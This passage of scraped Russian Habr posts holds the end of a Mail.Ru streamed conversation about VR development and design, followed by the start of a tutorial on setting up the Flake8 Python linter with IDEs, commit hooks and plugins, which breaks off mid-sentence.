Поднялись, на нужном месте расставили окна, что-то еще, сделали какие-то лесенки. Взяли, вытащили, например, мобов. Там даже готовые мобы есть, чтобы можно было делать свои собственные игры. Они несложные, но это очень сильно развлекает. Поставили их в нужных местах. Взяли, сделали что-то типа ангара с оружием. Прямо повесили, положили все эти пушки. И затем запускаем наш мир. То есть у него вначале ни физики, ничего нет. Мы его включили, и он ожил. То есть физика сработала, мобы стали двигаться, например. И теперь мы подходим, можем телепортироваться, то есть все фишки из других игр там не реализованы. Они не реализованы, может быть, что-то просто, но зато они все есть, их все можно комбинировать. Взяли оружие, взяли второе, и мы находимся в собственном уровне, который только что сделали и можем сразу играть в игру. Потрясающе! Это и конструктор, и конструктор игр, можно что-то даже в нем прототипировать, можно делать какие-то дизайны. С точки зрения рисования есть еще замечательная программа TileBrush. Д.Т.: Самая покупаемая, по-моему, сейчас. М.П.: Там просто потрясающе. Рисовать в 3D при помощи светящихся линий. Там есть разные краски, цвета, но рисунок получается именно в 3D. Это завораживает. Д.Т.: Практически новая форма искусства. Это не скульптура, не рисование, а где-то посередине, когда действительно объемно рисуешь изображение. А.К.: Класс! Слушайте, давайте теперь поговорим вот о чем. Тут есть скользкая понятийная дорожка и очень многие до сих пор даже не знают, что это совершенно разные вещи. Давайте поговорим о разнице между VR и AR. Для тех, кто не знает, VR — это virtual reality (виртуальная реальность), а AR — augmented reality (дополненная реальность). Дело в том, что «Pokemon Go», всем известные и всеми любимые — это ни что иное, как игра с дополненной реальностью. М.П.: Да. Д.Т.: Конкретно элемент дополненной реальности там простенький, но это действительно… М.П.: Да. Ну какой элемент? Наводишь и видишь там покемошу. Мне кажется, не в обиду обычной виртуальной реальности, которая сейчас есть, что AR в этом смысле даже перспективнее. Смотрите, когда вышли «Pokemon Go», все говорили: «А-а! Все, весь мир с ума сошел. Вот для чего нужна была дополненная реальность — чтобы Пикачу ловить. Что за фигня?». А вот не фигня, потому что мы знаем, что в «Pokemon Go» использовались те же базы данных, которые в свое время собирались в Ingress. Этой игре очень много лет, и в нее играют уже довольно взрослые дядечки, всякие урбанисты, люди с особыми увлечениями. Так вот ловил я тут в районе офиса покемошу. Прохожу мимо офиса штаба ОДКБ, у которого исторический, но, к сожалению, в очень плохом запущенном состоянии забор, навожу на этот забор, и он мне пишет: Статуя «Рабочий и солдат», такой-то год, скульптор такой-то, архитектор такой-то». Я прямо поразился! Я себе представил, что «Вот оно, наконец-то, я приеду в лес, посмотрю на это дерево, и он мне напишет “ольха”». Ведь все же говорят, но никто же не знает, как выглядит эта дурацкая ольха. Наконец-то мы все поумнеем. А вы что думаете? Какие перспективы за этим могут скрываться, и почему вы, например, не хотите в AR? Д.Т.: Мы хотим. М.П.: Хотим. Мы не против. А.К.: Мобилочки, например. Д.Т.: Дошли бы руки. М.П.: У нас сейчас очень важный проект и его нужно доделать. После этого мы будем смотреть. С точки зрения самих девайсов у нас есть Hololens от Microsoft. М.П.: Мы его тестировали, пробовали под него немножко разрабатывать, смотрели платформу и ее возможности. В целом, мое мнение, что VR и AR разделяются только сейчас. Чуть-чуть позже не будет смысла их разделять. Что из себя представляет VR-шлем? У нас есть линзы. Внутри есть монитор. Он делает картинку. В случае со шлемами виртуальной реальности монитор непрозрачный. В случае с устройствами дополнительной реальности, то есть как Microsoft Hololens, монитор прозрачный. А если мы запрашиваем части на мониторе Hololens, мы сквозь них ничего не видим. То есть у нас объект, он сейчас прозрачный, но в идеале непрозрачный вообще. В Hololens у нас есть области, которые экранчиком не закрашиваются, то есть экран там не очень большой, но в будущем экран будет целиком закрывать наше зрение. А это значит, что если экран закрывается целиком нашим зрением, и мы сделали его полностью непрозрачным, то мы погрузились в VR. Прочищаем в нем небольшую дырочку, видим реальный мир, и мы уже в дополненной реальности. Но не хватает еще трекинга окружения. В случае с VR у нас есть трекинг шлема при помощи датчиков, но нет трекинга нашего окружения, а в случае с Microsoft Hololens, он постоянно с помощью встроенного Kinect сканирует окружающее пространство и строит трехмерную геометрию вещей, которые вокруг нас. Приблизительную, но ее достаточно для того, чтобы можно было зайти за стену и какой-то объект, который мы там оставили, мы больше не видим, потому что мы уже зашли за стену. Если дополнить шлемы виртуальной реальности устройством, которое будет трекать объекты вокруг и сделать экраны прозрачными, то у нас получится синтез. А.К.: Короче, все эти понятийные вещи не так важны, как мы поняли. Хотя, с другой стороны… М.П.: Да. Некоторое время еще важны, но скоро уже, я считаю, не будут. А.К.: Так, с чего начался весь этот разговор: почему виртуальная реальность — это хорошо, а дополненная — не очень? После того, как Google Glass отменили. Типа говорят: «Вот, перспективная разработка, сейчас все такие будут», а потом: «Нет, знаете, что-то не зашло». Я даже понимаю, почему не зашло. У нас она не успела как-то сильно распространиться, а где-нибудь за рубежом, особенно в Калифорнии, люди иногда попадались. Заходишь ты в лифт, а с тобой человек какой-нибудь заходит. И ты едешь, а он в этих глазах. Смотришь на него и думаешь: «А вдруг ты меня снимаешь сейчас? Или рожки у меня подрисовываешь?» М.П.: Проблема была не в AR, а в том, что он снимал. А.К.: В людях, как обычно. Человеческий фактор. М.П.: Он же снимал все. У них была такая фишка, что можно было записывать все. Все всегда записывается и отправляется на сервер, где потом все можно пересмотреть и звук в том числе. Получается, что это такой шпионский инструмент, а не AR-инструмент. А.К.: А стримеры в восторге были, наверное. Особенно те, которые любят часов по 7 что-нибудь стримить. Теперь у нас другой вопрос. В чем особенности дизайна и в частности гейм-дизайна, когда разрабатываешь игры виртуальной реальности? Мы говорили, что 90 FPS должно быть обязательно, минимум, и с графикой уже неважно. Мы говорили о том, что не надо трястись, ни в коем случае. А какие еще вещи? Может быть, ограничение на продолжительность сессии накладывает VR? Хотя вы никак с этим не соглашаетесь. Я все пытаюсь это «Тошнит», а вы: «Нет». М.П.: Нас не тошнит. Д.Т.: Будет лучше, если продолжительность сессии будет покороче. Надо рассчитывать на то, чтобы всем было комфортно играть. Соответственно, если человек способен выдержать час-два в виртуальной реальности — это не значит, что остальных надо мучить. Им хватит 10-15 минут, чтобы получить законченное впечатление. Что касается дизайна, то это если мы решили вопрос с движением как-то. Вторая важная вещь, которая есть только в играх виртуальной реальности — это тактильные ощущения. Чтобы, например, мы думали, когда выбирали оружие, каким его сделать у себя в игре. Например, сделать большой автомат — он слишком легкий. Водишь им и не чувствуешь, кайфа нет. Вроде как Thompson, вроде как, да, ты зажал гашетку и стреляешь, но не то, не веришь, не включается это что-то на подкорочке, говорит, что все фальшивое. А пистолет, он достоверный. То есть, они тяжелее, чем джойстик Vive или Oculus, но он достаточно близок по весу, чтобы в него поверить. И дрожание, когда он стреляет — это все тоже очень важно. Важно, чтобы было достоверно то, с чем игрок больше всего взаимодействует. Тогда происходит погружение, и только тогда уже все воспринимается иначе. Дальше можно сделать даже такой же дизайн, который ты делаешь обычно в компьютерных играх или приставочных, но если ты добавишь туда эту тактильность успешно, то для человека это будет новый опыт. М.П.: Я согласен на все 100%. Д.Т.: Тогда еще расскажу. Можно думать о том, что игра может происходить во всей сфере вокруг игрока. Возможно, надо обращать его внимание на то, что происходит сзади, что происходит спереди, с боков. На самом деле, человек мыслит двумерно и ему сложно сориентироваться в 3D-пространстве. Поэтому важный элемент дизайна — не слишком рассредоточивать внимание игрока. Если события будут происходить спереди, сзади, сбоку — это слишком много. Нужно думать о том, как ты объяснишь игроку, где сейчас требуется его внимание. Когда он смотрит в монитор, он видит все происходящее. В виртуальной реальности он видит только часть. М.П.: Угол обзора в VR-шлемах сейчас довольно-таки маленький. Не тот, который мы видим в реальности, намного уже. Поэтому нам кажется, что если мы сделаем наш геймплей на 180 градусов, я же тут все вижу, то нет никаких проблем. А потом оказывается, что надо крутить головой. Мы сюда смотрим, а здесь врага не видим. Значит, нужно какую-то нотификацию делать игроку: «Повернись туда, посмотри. Там есть враг». Тут возникает проблема с пользовательским интерфейсом. К чему мы привыкли обычно в играх, в шутерах? У нас с краю экрана появляется стрелочка. Типа: «Туда посмотри». Оп, посмотрели туда. Стрелочка подвинулась и навелась на врага. Можно такое сделать в виртуальной реальности, но сразу возникает вопрос: на каком расстоянии от игрока ставить UI-элемент? На расстоянии метра? В принципе, комфортное расстояние. Дальше вопрос. Подходим мы к какому-нибудь ограждению, просто к стене. Мы этот UI-элемент все равно должны рисовать на расстоянии метра? Мы смотрим в стену, мы можем технически нарисовать то, что UI-элемент будет рендериться… чтобы на него сфокусироваться, глаза должны будут склониться на определенный угол на расстоянии метра, а стена на расстоянии 10 сантиметров. И тут начинает немножко голову напрягать, что что-то тут не так. Можем, конечно, попробовать всегда рисовать его в ближайшем объекте, но это уже другое. Надо искать варианты, как же нам UI, к которому мы привыкли, перенести в виртуальную среду, и в большинстве случаев он не решает. Другой пример. «Железный человек» круто себе это сделал, у него шлем, вот эти надписи всякие везде. Они же близко у него тут. Если они близко, прямо вообще близко — попробуйте сфокусироваться на ладони, которая рядом. Их не видно просто. Хорошо. Значит, железный человек подумал и отнес их чуть-чуть подальше, не так, как в видео показан. Хорошо, вот тут они. Теперь, если они на таком расстоянии, то просто попробуйте перескакивать взглядом — например, тут полоска жизни, а там враги. Соответственно, когда мы играем на мониторе, то у нас все плоское, на одном расстоянии, и мы видим одновременно и жизни почти что самих врагов. Но здесь нам нужно перефокусироваться прямо на другой объект, то есть для глаз это действие сложнее. Не хочется его делать, оно начинает напрягать. Плюс, у всех людей разный радиус, сколько они видят в шлеме виртуальной реальности. У кого-то глаза расположены чуть дальше, у кого-то чуть ближе и за счет этого он видит либо больше дисплея, либо меньше. Никогда неизвестно, сколько точно дисплея видит игрок. На каком тогда месте ему позиционировать интерфейс? Можно, конечно, калибровать для каждого игрока — тоже не подходит, потому что сегодня мы шлем надели так, сегодня так, сегодня так, и каждый раз он плывет. И если элементы будут привязаны к какой-то конкретной точке, то возникнет дискомфорт. Мы резко повернули головой, у нас шлем чуть-чуть съехал, на картинке в целом это никак не отражается, а на интерфейсах — тоже поехали. Неудобно. А.К.: Класс! Получается, столько нюансов, что это разработка Эльдорадо, все заново снова изобретается, заново учишься ходить. Д.Т.: Эпоха первичного наполнения капиталом, когда не все разрыто и валяется просто здесь — бери в любом месте, вот тебе богатый… А.К.: Бери, свой делай, бери, там свои квесты делай. Кстати говоря, в Minecraft, в квестах, историях, давайте поговорим об очень популярной сейчас теме — о применении виртуальной реальности помимо игр, но можно и с игровыми механиками. Единственное, сразу оговорюсь: о порно говорить не будем, хотя это очень интересная область применения, крайне необычное ощущение. Просто я помню, когда был на E3 (самая большая выставка в году, которая проходит в Лос-Анджелесе летом), там был стенд Naughty America — это такой специальный разработчик, специальная студия, которая снимает кино для как раз вот этого. Ты знаешь, люди выходили с очень стеклянными глазами. Туда, во-первых, очередь была больше, чем на новый Halo, а во-вторых, люди выходили такие остекленевшие, как будто они занимались чем-то очень важным и их прервали в какой-то момент. То есть, это явно работает. М.П.: Вообще, когда мы снимаем видео на 360, возникает проблема с режиссером. Где ему стоять? Где стоять оператору? Где располагать освещение? А.К.: Это все эпоха дронов должна будет решить. Д.Т.: Театр. Возвращаемся к театру. Заранее отрепетировали… М.П.: То есть заранее все нужно отрепетировать? А освещение? В театре, так или иначе, свет хоть с одной стороны можно подать. А тут… А.К.: У нас такой театр ар-деко, когда рабочий сцены ходит прямо по сцене во время спектакля, и это считается нормальным. М.П.: Как вариант. А.К.: Возвращаясь к порнографии… На самом деле нет. Смотрите, я сейчас был просто поражен роликом, да и не только я, по-моему, 0,5 млн. человек в интернете тоже. РЖД где-то у себя внутри, совершенно не анонсируя, сделали симулятор путевого обходчика. Это действительно сделано было для того, чтобы тренировать путевых обходчиков. Гораздо проще его прогонять 10 часов через симулятор, чем работать с ним на местах, хотя работа такая достаточно ответственная и сложная. Что вы про это думаете все? Д.Т.: Шикарно. Мне кажется, это шикарно. Это как и в случае с музеями. Некоторые вещи становятся гораздо дешевле делать с помощью виртуальной реальности. Дешевле, безопаснее, комфортнее для всех. Замечательно. Пусть будет больше таких инициатив, мне кажется. М.П.: Я бы тут хотел добавить еще с точки зрения образовательных целей для школьников. Есть программка, это как демонстрация возможностей, если вы купили шлем, то ставите ее, смотрите, что вообще можно делать в виртуальной среде. И там есть классные демки, очень хорошо сделанные. И одна из них есть с нашей Солнечной системой. Посередине Солнце, мы оказываемся недалеко от него. Вокруг него крутятся планеты. Они крутятся не на реальных расстояниях. То есть пропорции более-менее соблюдены и размеры планет соблюдены. Д.Т.: Относительно друг друга. М.П.: Да. И мы можем подойти к Юпитеру, взять его так джойстиком — Юпитер, большой. Кинули в Солнце. Подошли к Земле. Где же Земля? Где же Земля? Она между пикселей скрывается. Вот она. Взяли ее. Вот она, Земля. Кинули в Солнце. И мы запомнили на всю жизнь, что Юпитер большой по сравнению с Землей и насколько он больше. Ни один учебник, ни одна иллюстрация никогда нам не даст такого погружения и такого ощущения. Тактильного ощущения размера, пока мы, действительно планеты не взяли и не кинули в Солнце. Любые другие вещи, которые визуализируются и которые имеют какие-то аналоги в 3D, если с ними можно попробовать повзаимодействовать, если можно увидеть их действительно, как они созданы, даже этот тренажер для РЖД. Мы один раз увидели, что у нас, ага, есть коробка, она располагается на таком-то расстоянии от железной дороги — все расстояния человек запомнил, запомнил относительное положение. Чем больше элементов мы там учтем, тем больше он их воспримет и тем легче ему будет потом в реальном месте. Например, как это можно еще использовать? У нас есть массовое мероприятие на несколько миллионов человек, например, на стадионе. Там собираются тысячи людей. А.К.: Я придумал симулятор омоновца. Отлично. М.П.: Как вариант. А.К.: Куда прешь?! Алкоголь с собой нельзя. Вот это. Класс! М.П.: Ну, не совсем так. С другой стороны, у нас есть гигантский стадион. Д.Т.: Они не всегда такие. А.К.: И не все. М.П.: И нам нужно обучить персонал, который мы приглашаем на это мероприятие. И он вообще не знает, что это за стадион, какие там ходы есть, куда, как. Мы можем показать ему миллион карт, разные срезы, можем показать ему, что «Ты будешь стоять вот тут, вид сверху». А что, если человек не воспринимает карты? Он ничего не понял. И какие-либо пути эвакуации, например, чтобы можно было в экстренной ситуации сразу же среагировать, какие-либо логистические процессы, что люди проходят сюда, потом мы перенаправляем поток сюда, они все на словах. А если мы создадим виртуальную сцену в 3D, то человек надевает шлем: «A, вот. Я буду стоять рядом с большой стеной зеленого цвета. Все, я запомнил. Ага, тут будет кнопка. Ага, эту нажимать, эту не трогать, например. Тоже понял». Все, он свои задачи уже понял, что ему нужно будет сделать. «Пути эвакуации. А, вот здесь лесенка проходит. Так, я могу сам по ней попробовать пройти при помощи, например, режима телепортации в виртуальной среде. Я, в принципе, запомнил». Потрясающе. Люди обучились буквально-таки за какие-то считанные минуты. Реально, не выходя на сам объект, они поняли, что, как, к чему. Потрясающе. А.К.: Класс! И так во всем. Д.Т.: Если раньше говорилось, что картинка стоит 1000 слов, то теперь можно говорить, что одно погружение в виртуальную реальность стоит 1000 картинок. М.П.: Абсолютно верно. А.К.: Смотрите, у нас в комментариях разразилась дискуссия, я бы даже сказал. Дискуссия — сильно сказано, но, тем не менее, люди обсуждают, люди говорят, что самый крутой вариант решения с интерфейсом, на их взгляд — это как сделано у военных летчиков в шлеме. Но тут же его поправляет другой человек, говорит: «Там хорошо, но военный летчик все-таки худо-бедно в одну точку смотрит, а здесь надо головой вертеть» Д.Т.: От правил игры зависит. А так, из прикольных моментов интерфейсов, просто вещь, которая порадовала недавно… Например, как сделать выход из игры? Не то, чтобы он сейчас в VR особо нужен. Ты просто снимаешь шлем и уже не в игре. Но есть чуваки (подзабыл, что за проект), у них есть юмористический проект. Ты берешь хот-дог, откусываешь от него один раз, и он предлагает тебе: «Вы уверены, что вы хотите выйти?». Откусываешь второй, съедаешь хот-дог — вот ты вышел. Другой подход совсем. М.П.: Или стрельнул в себя — миссия закончилась. У нас такой вариант тоже есть. А.К.: Это очень хорошо, стрельнуть в себя, но что об этом скажет Мизулина? «Давайте побольше про разработку, про технические детали». Меня спрашивают, какой язык программирования используется. Понимаешь, у нас классические вопросы. Просто у нас это четвертый или пятый даже Технострим на тему видеоигр, и всегда появляется группа людей или это один и тот же человек, которые говорят, что «Ребята, я знаю, что игры — это очень круто, я знаю, что нужно языки программирования учить. Так какие же?». И все по-разному говорят, самое главное, у всех по-разному. М.П.: Для старта изучать языки программирования не надо. Д.Т.: Это правда. А.К.: И это еще раз, на секундочку, говорит ведущий программист виртуальной реальности компании Mail.Ru Group. М.П.: Все очень просто. Д.Т.: Дизайн тоже можно не изучать. М.П.: Да, все очень реально просто. Надо зайти на сайт Unreal Engine 4, скачать его бесплатно. Правда, с регистрацией, но без СМС, поставить его, создать новый проект, выбрать VR, а там уже есть готовый шаблон. Д.Т.: И вот вы VR-разработчик. М.П.: Да. Все, VR-проект создан. Нажать кнопку Play. Там надо подсоединить устройство, настроить его. Это несложно. Next, next, next, там графические все инсталляшки, все в этом плане легко. У нас запускается наш первый VR-проект. Мы в нем что-то попробовали, поделали, походили, там уже есть этот функционал, базовые вещи. Затем, если мы хотим добавить собственный арт, посмотреть какой-то трехмерный объект, который мы скачали в сети в VR. Допустим, у нас есть такая 3D-модель, заимпортить в движок ее несложно. Мы берем эту 3D-модель, импортим ее, поддерживается там формат FBX (это такой распространенный для 3D-модели). Если нужен трехмерный редактор, чтобы сконвертить из какого-то другого, то можно использовать блендер. Он тоже бесплатный и доступен в Steam. Импортим движок, накладываем текстуры, смотрим пару туториалов, естественно, чтобы ознакомиться с функционалом. Запускаем Play, и вот наша трехмерная модель внутри. Все, мы посмотрели. Теперь мы хотим заставить, например, чтобы мячик сверху спаунился (появлялся) и падал вниз, по законам физики. Тоже не вопрос. Мы создаем этот трехмерный шарик (просто можно сферу взять, раскрасить ее в какой-то цвет), делаем на нее blueprint (это такой специальный элемент в Unreal Engine) и дальше при помощи визуального программирования соединяем блоки. То есть у нас есть Begin Play, он появился, когда создался объект. Мы добавляем, что хотим дать ему какой-то физический импульс. Добавить импульс. В эту сторону импульс добавили — все, play, и он улетает. А.К.: И вот ты уже Unreal-разработчик. М.П.: VR Unreal Engine разработчик. То есть при помощи blueprint можно собрать большой проект. Есть, например, нарекания к тому, что производительность blueprint не очень высокая. Да, есть такой нюанс. Но все зависит от того, какой геймплей мы строим. Если у нас геймплей сильно завязан на всякое сетевое взаимодействие и у нас много логики со всякими ресурсами, всякий сложный крафт и прочие вещи, то на «плюсах» Unreal Engine. Поэтому, если мы делаем игру на языке именно программирования, то нужно будет изучить C++ и на нем писать. Сложные вещи лучше всего делать на «плюсах». Но если у нас нет ничего потенциально сложного, мы не итерируемся в цикле на каждый кадр 1000 раз по тысячам объектов — то нет смысла. То есть blueprint вполне производителен, скорость достаточная. Второй вариант — можно подойти к вопросу с точки зрения Unity. В Unity также легко можно собрать сцену, зайти в их Unity Store, накачать различных готовых объектов, запустить игру. Без программирования мы ее запустили. Также поставить трехмерный объект, увидеть его. Но здесь следующий этап, если мы хотим дальше создавать уже какую-то логику внутриигровую, то нам потребуется изучить язык программирования C#. Там есть вариации, которые можно на JavaScript писать, но я бы не рекомендовал, потому что даже новичка это сильно запутает. Будет много проблем, будут различные технические баги, ошибки, error и разобраться в них будет сложнее, чем если это делать сразу на C#. Немножко на C# нужно больше разобраться, но зато потом будет значительно легче. Это для тех, кто хочет изучить язык программирования. Но можно и без него. А.К.: Как кто-то из наших прошлых гостей озвучивал: «Да потом языки выучите. Вначале Unity выучите. Языки уже потом придут». Тут прямо человек с серьезным вопросом пришел: «А на стриме уже была озвучена политика Mail.Ru Group и VR, интеграция с Game Center?». Короче, ребята, все это, конечно, гораздо проще звучит. Какая политика? Mail.Ru Group — большая компания, разработчик, издатель, оператор игр и так далее. Естественно, смотрит на одну из самых перспективных областей разработки в нашей время — на VR. Соответственно, ребята — Максим и Дмитрий — это люди, которые стоят буквально во главе этого самого эшелона, мчащегося вперед нашей компании. Поэтому если их проект будет очень клевый, то я думаю, что политика Mail.Ru Group только расширится в отношении VR. М.П.: Он выходит в Steam Oculus Store. Это анонсировали. А.К.: А дата? М.П.: В этом году. А.К.: Класс. Ну, что ж, наверное, я думаю, пора нам потихоньку сегодня завязываться, как раз у нас вышло время. На вопросы вроде интересные ответили… Знаешь, когда у людей идет дискуссия без нас, я так понимаю, что наша миссия уже выполнена. М.П.: А как же? Если мы прекратим стрим, то у них дискуссия закончится. Надо держать их в узде. А.К.: Да, надо держать. Ну, что ж? Давайте анекдоты тогда. На самом деле, спасибо вам огромное. Мы сегодня озвучили основные вещи про VR, рассказали людям наконец, чем VR отличается от AR. Особенно ничем. В VR-шлеме можно глаза вот так здесь нарисовать. Кстати, суперразвлекуха сейчас на Западе. Вовсю продаются вместе с Oculus, больше всего уходит второй аксессуар, который есть — это наклейки со всевозможными глазами. И кто-то по комнате ходит с такими глазюками. Вам тоже рекомендую. Мимо вас все будут бегом проходить тогда. И так страшно, когда кто-то машет руками. Итак, сегодня у нас были ребята совершенно замечательные — Максим Пестун и Дмитрий Трубицын. Это ведущий VR-программист компании Mail.Ru Group и ведущий VR-дизайнер. То есть, как мы сегодня выяснили, и программирование, и дизайн VR — это абсолютно новая территория, terra incognita. Эти люди сейчас открывают нам новый континент, смотрят, испытывают и ставят какие-то опыты. Поэтому я пожелаю вам, ребята, удачи. VR Invaders — очень клевый. Это, возможно, моветон ругать собственные игры компании, но это одна из немногих игр, которую ты действительно запускаешь сразу, и не такой: «Так, ну, сейчас будем разбираться, где тут клево», а такой: «Ух ты! Епрст!». Это классная вещь, очень сильно желаю вам успеха в работе над ней.
https://habrahabr.ru/company/mailru/blog/318640/
habrahabr
Стильный код на Python, или учимся использовать Flake8
['python', 'codestyle', 'linter', 'flake8', 'tutorial', 'pep8', 'code analysis']
Автор: Анатолий Соловей, developer Язык программирования Python очень востребован на современном рынке, он развивается изо дня в день, и вокруг него сложилось активное сообщество. Во избежание...
Автор: Анатолий Соловей, developer Язык программирования Python очень востребован на современном рынке, он развивается изо дня в день, и вокруг него сложилось активное сообщество. Во избежание конфликтов между разработчиками-питонистами, создатели языка написали соглашение PEP 8, описывающее правила оформления кода, однако даже там отмечено, что: Many projects have their own coding style guidelines. In the event of any conflicts, such project-specific guides take precedence for that project. В результате добавления новых правил количество требований к оформлению кода увеличилось настолько, что удержать их в голове стало очень трудно. При этом обращение к гайдам может занимать много времени и отвлекать от процесса разработки. За долгое время работы у программистов вырабатывается собственный стиль написания кода, предпочтения в стайлгайдах и прочие мелочи, которые оставляют авторскую печать на программах девелопера. Убедить разработчиков отказаться от привычных им кодстайлов очень сложно, но, даже если это удастся, велик шанс, что в их коде будут проскакивать старые фишки, добавленные в силу привычки. Когда каждый апдейт проходит строгий код ревью, включающий в себя проверку стилей, подобные ошибки могут очень сильно замедлять процесс разработки. А если ошибки в итоге не заметят даже в процессе ревью, в системе контроля версий проекта очень скоро появится куча нечитаемого и непонятного кода. На помощь в этом случае приходят линтеры — инструменты, контролирующие оформление кода в проекте. Именно они помогают поддерживать его чистоту и, в нашем случае, предотвращать создание коммитов, которые могут содержать ошибки. Я для контроля качества использую Flake8 и сейчас постараюсь объяснить, почему выбрал именно его, и расскажу, как его настроить, чтобы получить максимальный результат. Заинтересовались? Добро пожаловать под кат. Flake8: Your Tool For Style Guide Enforcement Сам Flake8 — инструмент, позволяющий просканировать код проекта и обнаружить в нем стилистические ошибки и нарушения различных конвенций кода на Python. Flake8 умеет работать не только с PEP 8, но и с другими правилами, к тому же поддерживает кастомные плагины, поэтому в дальнейшем в этой статье я буду отталкиваться от правил из Google Python Style Guide . Почему Flake8? Flake8: pep8 + pyflakes + more Создатель Flake8 Тарек Зиаде ставил перед собой цель объединить главные популярные инструменты контроля кодстайла в одной библиотеке, с чем в итоге успешно справился — Flake8 получился действительно универсальным. Легкость установки и конфигурации Чтобы проверить, отвечает ли код в вашем проекте основным требованиям PEP 8, достаточно установить Flake: $ pip install flake8 и запустить его — просто ввести в командной строке: $ flake8 my_project после чего вы получите список с именами файлов и номерами строк, где были допущены ошибки, и подробное описание самих ошибок: $ flake8 my_project myfile.py:1: 'sys' imported but unused myfile.py:4:1: E302 expected 2 blank lines, found 1 Великолепно, не правда ли? Но и это не всё. Если вы не любитель работать с консолью, то вы можете настроить интеграцию Flake8 с IDE или редактором, который вы предпочитаете использовать. Интеграция Flake8 с редакторами и IDE Интеграция с PyCharm Так же актуально и для любой другой IDE от JetBrains. Интеграция проводится всего за пару несложных шагов. Откройте настройки External Tools в File → Settings → Tools и нажмите на “+”, затем заполните поля по этому шаблону: После этого нажмите на Output Filters, а затем на “+”, чтобы добавить новое правило для вывода сообщений от флейка: Здесь мы говорим PyCharm, что хотим, чтобы в выводе строки с ошибками были кликабельными и открывали в редакторе файл и место с ошибкой Все. Интеграция Flake8 с PyCharm закончена. Чтобы вызвать флейк и проверить свой код, кликаем правой кнопкой мыши на файл/директорию, которую мы хотим проверить, и в контекстном меню выбираем External Tools → Flake8. В выводе PyCharm появится кликабельный список нарушений в выбранном файле/директории: Интеграция с Atom Чтобы установить инструмент Flake8 для Atom, используйте Atom package manager в Settings и найдите там linter-flake8: Или вызовите apm install flake8 из командной строки. Затем перейдите в linter-flake8 settings и укажите путь к директории, где установлен flake8: У linter-flake8 есть собственный ReadMe по настройке, с которым при желании вы можете ознакомиться на странице самого linter-flake8 в Atom. Наличие Version Control Hooks Именно это я считаю главным достоинством Flake8, которое выделяет его среди других линтеров. В отличии от большинства подобных инструментов, где для настройки VCS-хуков используются целые отдельные библиотеки и модули (как, например, в Pylint), настройка хуков в флейке проводится буквально в две строчки. На момент написания этой статьи, Flake8 умеет использовать pre-commit-хуки для Git и Mercurial. Эти хуки позволяют, например, не допускать создания коммита при нарушении каких-либо правил оформления. Установить хук для Git: $ flake8 --install-hook git И настроить сам гит, чтобы учитывать правила Flake8: $ git config --bool flake8.strict true Я продемонстрирую, как Git hook работает на проекте, который я использовал для примера интеграции Flake8 с PyCharm. В модуле flake8tutorial.py мы видим очевидные ошибки: импортированные и неиспользованные модули, остсутствие докстринга и пустой строки в конце файла. Первым делом проинициализируем в этом проекте git-0репозиторий, установим flake8 хук и скажем нашему git, что он должен прогонять флейк перед коммитами: Затем попробуем провести первый коммит: Как видите, flake8 был вызван перед коммитом и не позволил нам закоммитить невалидные изменения. Теперь фиксим ошибки, отмеченные флейком, и пытаемся закоммитить валидный код: Коммит успешно создан. Отлично! Настройка Flake8 для Mercurial практически идентична. Для начала нужно установить Flake8 Mercurial Hook: $ flake8 --install-hook mercurial И настроить сам Mercurial: $ hg config flake8.strict true Вот и все, хук для Меrcurial установлен, настроен и готов к использованию! Подробнее о конфигурации Flake8 Базовая конфигурация Список дополнительных опций и правил можно передать прямо при вызове из командной строки таким образом: flake8 --select E123 (в этом примере опцией select мы говорим, чтобы Flake сообщал о нарушениях только правила E123 (это код правила “closing bracket does not match indentation of opening bracket's line”)) . Кстати, полный список опций с описанием вы можете найти в документации к самой библиотеке . На мой взгляд, куда предпочтительнее настраивать Flake с помощью конфигурационных файлов, вы можете хранить настройки в одном из файлов setup.cfg, tox.ini или.flake8. Для ясности я предпочитаю использовать последний вариант. Файл с настройками позволяет контролировать использование библиотекой тех же опций, что настраиваются для командной строки, базовый конфигурационный файл выглядит так: [flake8] ignore = D203 exclude = .git,__pycache__,docs/source/conf.py,old,build,dist В этом файле мы сообщаем Flake, что он не должен оповещать нас о нарушениях правила D203 (“1 blank line required before class docstring”), а также не должен проверять файлы .git, __pycache__, docs/source/conf.py и директории old, build, dist. В конфигурационных файлах можно оставлять комментарии, это полезно делать, если вы предоставляете большой список правил, которые Flake должен игнорировать: [flake8] # it's not a bug that we aren't using all of hacking ignore = # F812: list comprehension redefines ... F812, # H101: Use TODO(NAME) H101, # H202: assertRaises Exception too broad H202, # H233: Python 3.x incompatible use of print operator H233, # H301: one import per line H301, # H306: imports not in alphabetical order (time, os) H306, # H401: docstring should not start with a space H401, # H403: multi line docstrings should end on a new line H403, # H404: multi line docstring should start without a leading new line H404, # H405: multi line docstring summary not separated with an empty line H405, # H501: Do not use self.__dict__ for string formatting H501 Также можно добавить в исключения отдельную строку в вашем модуле, просто оставив на этой строке комментарий noqa . Тогда при проверке модуля Flake8 будет игнорировать ошибки, найденные в строках, помеченных этим комментарием: import sys # noqa Модули, расширяющие функциональность Так как Flake позволяет создавать и использовать кастомные плагины, для него можно найти большое количество open-source плагинов. Я опишу только те, которые использую сам и считаю особенно полезными: flake8-import-order Плагин, проверяющий порядок импортов в проекте: в стандартной конфигурации первыми должны идти импорты стандартных библиотек (stdlib), затем импорты сторонних библиотек, а потом локальные пакеты, причем каждая группа отделена пустой строкой и отсортирована в алфавитном порядке. Этот плагин расширяет список предупреждений Flake, добавляя туда три новых: I100: Your import statements are in the wrong order. I101: The names in your from import are in the wrong order. I201: Missing newline between sections or imports. Установка: pip install flake8-import-order Конфигурация: [flake8] application-import-names = my_project, tests # Указываем флейку директории, в которых хранятся локальные пакеты. import-order-style = google # Указываем флейку на то, в каком порядке должны идти импорты. Как я уже говорил выше, я предпочитаю использовать Google Style Guide. Более подробно о настройке flake8-import-order можно прочитать на странице библиотеки на Github. flake8-docstrings Плагин, добавляющий поддержку функционала из pydocstyle — проверку докстрингов на соответствие конвенциям Питона. Установка: pip install flake8_docstrings Список добавляемых этой библиотекой правил можно найти в документации pydocstyle . Конфигурация: Сама по себе эта библиотека никак не настраивается, однако добавленные правила можно внести в исключения, если какое-то из них неактуально для вашего проекта: [flake8] ignore = D101 # Игнорировать docstrings предупреждение “Missing docstring in public class” Страница библиотеки на Github тут . flake8-builtins Плагин, проверяющий код на использование встроенных имен в качестве переменных или параметров. Установка: pip install flake8-builtins Конфигурация: Как и в случае с flake8-docstrings, у плагина нет дополнительных настроек, но добавленные им правила можно, например, внести в исключения флейка: [flake8] ignore = B001 # Игнорировать builtins предупреждение “<some_builtin> is a python builtin and is being shadowed, consider renaming the variable” Более подробную информацию об 